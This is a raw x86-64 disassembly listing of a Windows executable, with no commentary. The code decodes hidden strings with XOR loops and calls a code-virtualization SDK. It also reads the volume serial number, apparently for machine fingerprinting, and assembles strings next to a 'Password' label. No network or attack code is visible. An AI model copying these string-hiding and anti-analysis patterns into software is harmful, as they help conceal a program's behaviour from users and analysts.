test cl, cl
je 0x14005d0b8
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
xor edx, edx
mov r8d, 0xc003b
mov rcx, rax
call fcn.14000e7c0
movss xmm2, dword [0x140078650]
lea rcx, [rbp + 0x210]
movss xmm1, dword [0x140078670]
call fcn.140001080
mov rcx, rax
xor edx, edx
call fcn.140012a40
movss xmm2, dword [0x1400785a0]
lea rcx, [rbp + 0x218]
movss xmm1, dword [0x140078598]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0x860]
movaps xmm1, xmm13
call fcn.140001090
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0x870]
movaps xmm1, xmm10
mov r14, rax
call fcn.140001090
movaps xmm2, xmm10
lea rcx, [rbp + 0x230]
movaps xmm1, xmm10
mov rsi, rax
call fcn.140001080
movaps xmm2, xmm13
lea rcx, [rbp + 0x238]
movaps xmm1, xmm13
mov rdi, rax
call fcn.140001080
movss xmm2, dword [0x140078640]
lea rcx, [rbp + 0x240]
movss xmm1, dword [0x14007866c]
mov rbx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x3950]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.140045500
movzx eax, byte [0x140086d1a]
test al, al
jne 0x14005d490
mov rcx, qword [0x140086d80]
call fcn.140012400
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x880]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0x890]
mov rcx, rax
call fcn.14002b020
movss xmm2, dword [0x140078618]
lea rcx, [rbp + 0x2f0]
movss xmm1, dword [0x140078624]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140001080
mov rcx, rax
call fcn.140013890
movss xmm0, dword [0x140086264]
lea rcx, [rbp + 0x9a0]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm15
movaps xmm1, xmm15
call fcn.140001090
mov rdx, rax
xor ecx, ecx
call fcn.1400033a0
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x6e]
call fcn.1400636c0
mov r10, rax
cmp byte [rax + 0x13], r15b
je 0x14005d3d1
mov r8d, r15d
cmp r13d, 2
jl 0x14005d391
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14005d2a0
cmp r8d, 0x14
jge 0x14005d3d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005d3a0
mov rcx, r10
call fcn.140042da0
mov ecx, 1
call fcn.140003400
cmp byte [0x140086e3e], r15b
mov eax, r15d
je 0x14005d428
movss xmm0, dword [0x140086264]
subss xmm0, dword [0x1400784c8]
comiss xmm13, xmm0
seta al
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm0
addss xmm2, xmm0
comiss xmm2, dword [0x1400784ec]
seta al
jmp 0x14005d45d
movss xmm2, dword [0x140086264]
addss xmm2, dword [0x1400784c8]
comiss xmm2, xmm10
movaps xmm0, xmm2
subss xmm0, xmm10
seta al
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
subss xmm2, xmm1
comiss xmm2, xmm10
setae al
mov byte [0x140086e3e], al
mov eax, dword [0x140086e30]
inc eax
movss dword [0x140086264], xmm2
mov dword [0x140086e30], eax
cmp eax, 0xdac
jl 0x14005d4bf
mov byte [0x140086d1a], 1
jmp 0x14005d4bf
cmp al, 1
jne 0x14005d4bf
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
jne 0x140061ec6
cmp byte [0x140086dfd], r15b
jne 0x1400610f6
cmp byte [0x140086e39], r15b
jne 0x140060345
call fcn.140011990
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_28]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_2]
call fcn.14000a090
mov rcx, qword [0x140086d90]
mov r9d, 3
mov dword [rsp + 0x30], r15d
xor r8d, r8d
movss dword [rsp + 0x28], xmm10
xor edx, edx
mov dword [rsp + 0x20], r15d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140086d90]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14005d53b
call fcn.14000a590
call fcn.140006100
mov rcx, rax
call fcn.14003d770
mov rcx, qword [0x140086d90]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x220]
test dword [rax], 0x400
je 0x14005d55c
call fcn.14001d4b0
xor edx, edx
xor ecx, ecx
call fcn.14001d9e0
mov rcx, qword [0x140086d90]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
call r10
cmp eax, 0x88760868
jne 0x14005d5a5
mov rcx, qword [0x140086d90]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14005d5a5
call fcn.140050990
movabs rdi, 0xb8677ce38bc754d
movabs rsi, 0xdd53966aa4d01be4
movabs rbx, 0x8d6c8e85a0368a29
movabs r14, 0xf6420c647fedc060
cmp dword [rbp + 0x3c18], 0x12
jne 0x1400541e0
call fcn.14003de90
call fcn.14003eae0
xor ecx, ecx
call fcn.140005f50
call fcn.140050940
mov rcx, qword [0x140086da8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x3988]
mov rcx, qword [rbp + 0x39b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [rbp + 0x39c8]
call fcn.140050840
xor eax, eax
mov rcx, qword [rbp + 0x3ef8]
xor rcx, rsp
call fcn.1400677c0
lea r11, [rsp + 0x4020]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x1ca8]
call fcn.140053060
lea rdx, [rbp + 0xd4]
lea rcx, [rbp + 0x6f]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005d761
cmp r13d, 2
jl 0x14005d722
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005d761
mov r9, r10
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005d730
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3928]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005d7d5
mov edx, dword [rbp + 0x3928]
lea rcx, [rbp + 0x1ce8]
lea rbx, [rbp + 0x1cc8]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x1d08]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x1cc8]
call fcn.1400675e0
jmp 0x14005d7e8
lea rcx, [rbp + 0x1d28]
lea rbx, [rbp + 0x1d28]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x1ca8]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x70]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005d838
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1d48]
call fcn.140064bd0
lea rdx, [rbp + 0x2f48]
mov r12, rax
lea rcx, [rbp + 0x71]
call fcn.140063100
mov rbx, rax
cmp byte [rax + 0x20], r15b
je 0x14005d9b1
mov r8d, r15d
cmp r13d, 2
jl 0x14005d971
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005d880
cmp r8d, 0x21
jge 0x14005d9b1
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x14005d980
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x72]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005d9f2
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1d68]
call fcn.140064bd0
lea rdx, [rbp + 0x4f0]
mov r14, rax
lea rcx, [rbp + 0x73]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005da49
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x1d88]
call fcn.140064bd0
lea rdx, [rbp + 0x5d0]
mov rsi, rax
lea rcx, [rbp + 0x74]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005daa4
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x1da8]
call fcn.140064bd0
lea rdx, [rbp + 0x33d8]
mov rdi, rax
lea rcx, [rbp + 0x75]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x14005dc21
cmp r13d, 2
jl 0x14005dbe3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x28
jl 0x14005daf0
cmp eax, 0x2d
jge 0x14005dc21
movsxd r9, r15d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r15d, 0x2d
jl 0x14005dbf0
mov rdx, r10
lea rcx, [rbp + 0x1dc8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x1de8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x1e08]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x1e28]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x1e48]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140077bfc]
lea rcx, [rbp + 0x1e68]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x1e88]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x1ea8]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x1ec8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x1ca8]
mov rdx, rax
lea rcx, [rbp + 0x1ee8]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3a70]
call fcn.140051cd0
lea rcx, [rbp + 0x1ec8]
call fcn.140064ae0
lea rcx, [rbp + 0x1ea8]
call fcn.140064ae0
lea rcx, [rbp + 0x1e88]
call fcn.140064ae0
lea rcx, [rbp + 0x1e68]
call fcn.140064ae0
lea rcx, [rbp + 0x1e48]
call fcn.140064ae0
lea rcx, [rbp + 0x1e28]
call fcn.140064ae0
lea rcx, [rbp + 0x1e08]
call fcn.140064ae0
lea rcx, [rbp + 0x1de8]
call fcn.140064ae0
lea rcx, [rbp + 0x1dc8]
call fcn.140064ae0
lea rcx, [rbp + 0x1da8]
call fcn.140064ae0
lea rcx, [rbp + 0x1d88]
call fcn.140064ae0
lea rcx, [rbp + 0x1d68]
call fcn.140064ae0
lea rcx, [rbp + 0x1d48]
call fcn.140064ae0
lea rcx, [rbp + 0x1ca8]
call fcn.140064ae0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x1f28]
call fcn.140053060
lea rdx, [rbp + 0xdc]
lea rcx, [rbp + 0x76]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x14005de71
cmp r13d, 2
jl 0x14005de37
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14005de71
mov r9, r10
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14005de40
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x392c]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005dee5
mov edx, dword [rbp + 0x392c]
lea rcx, [rbp + 0x1f68]
lea rbx, [rbp + 0x1f48]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x1f88]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x1f48]
call fcn.1400675e0
jmp 0x14005def8
lea rcx, [rbp + 0x1fa8]
lea rbx, [rbp + 0x1fa8]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x1f28]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x77]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14005df48
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1fc8]
call fcn.140064bd0
lea rdx, [rbp + 0x30b0]
mov r12, rax
lea rcx, [rbp + 0x78]
call fcn.1400630a0
mov rbx, rax
cmp byte [rax + 0x24], r15b
je 0x14005e0c1
mov r8d, r15d
cmp r13d, 2
jl 0x14005e081
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005df90
cmp r8d, 0x25
jge 0x14005e0c1
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14005e090
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x79]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005e102
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1fe8]
call fcn.140064bd0
lea rdx, [rbp + 0x510]
mov r14, rax
lea rcx, [rbp + 0x7a]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005e159
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x2008]
call fcn.140064bd0
lea rdx, [rbp + 0x5f0]
mov rsi, rax
lea rcx, [rbp + 0x7b]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14005e1b4
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x2028]
call fcn.140064bd0
lea rdx, [rbp + 0x33a8]
mov rdi, rax
lea rcx, [rbp + 0x7c]
call fcn.140062e10
mov r9, rax
cmp byte [rax + 0x2c], r15b
je 0x14005e331
cmp r13d, 2
jl 0x14005e2f3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x28
jl 0x14005e200
cmp eax, 0x2d
jge 0x14005e331
movsxd r8, r15d
add r8, r9
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x2d
jl 0x14005e300
mov rdx, r9
lea rcx, [rbp + 0x2048]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x2068]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2088]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x20a8]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x20c8]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140077bfc]
lea rcx, [rbp + 0x20e8]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x2108]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x2128]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x2148]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x1f28]
mov rdx, rax
lea rcx, [rbp + 0x2168]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3a50]
call fcn.140051cd0
lea rcx, [rbp + 0x2148]
call fcn.140064ae0
lea rcx, [rbp + 0x2128]
call fcn.140064ae0
lea rcx, [rbp + 0x2108]
call fcn.140064ae0
lea rcx, [rbp + 0x20e8]
call fcn.140064ae0
lea rcx, [rbp + 0x20c8]
call fcn.140064ae0
lea rcx, [rbp + 0x20a8]
call fcn.140064ae0
lea rcx, [rbp + 0x2088]
call fcn.140064ae0
lea rcx, [rbp + 0x2068]
call fcn.140064ae0
lea rcx, [rbp + 0x2048]
call fcn.140064ae0
lea rcx, [rbp + 0x2028]
call fcn.140064ae0
lea rcx, [rbp + 0x2008]
call fcn.140064ae0
lea rcx, [rbp + 0x1fe8]
call fcn.140064ae0
lea rcx, [rbp + 0x1fc8]
call fcn.140064ae0
